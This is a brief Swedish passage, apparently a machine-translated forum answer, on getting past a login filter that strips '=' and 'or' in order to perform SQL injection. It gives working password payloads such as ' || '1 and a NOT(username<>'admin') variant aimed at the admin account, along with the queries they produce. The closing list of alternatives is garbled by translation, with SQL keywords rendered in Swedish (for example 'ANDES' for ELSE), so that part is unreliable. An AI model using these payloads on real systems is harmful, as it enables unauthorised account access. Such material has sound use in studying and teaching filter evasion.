Om vi antar denna definition av lvl2_filter
, vilket i princip tar bort alla förekomster av =
och eller
tills den inte längre hittas bör det fortfarande vara möjligt att använda logisk ELLER operation
med ||
istället för ELLER
och ett enkelt uttryck som utvärderas till sant som:
username: dummy
password: ' || '1
Detta skulle resultera i:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
För att välja en specifik användare kan man använda reglerna för boolesk algebra
, där x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Detta skulle resultera i:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Här <> motsvarar
!=
men innehåller ingen =
.
Det finns också andra operationer som man kan använda för att säkerställa användarnamn är lika med admin
:
användarnamn MELLAN 'admin' OCH 'admin'
användarnamn LIKE 'admin'
användarnamn IN ('admin')
OM(STRCMP(användarnamn,'admin'), 0, 1)
CASE STRCMP(användarnamn,'admin') WHEN 0 THEN 1 ANDES 0 END
- ...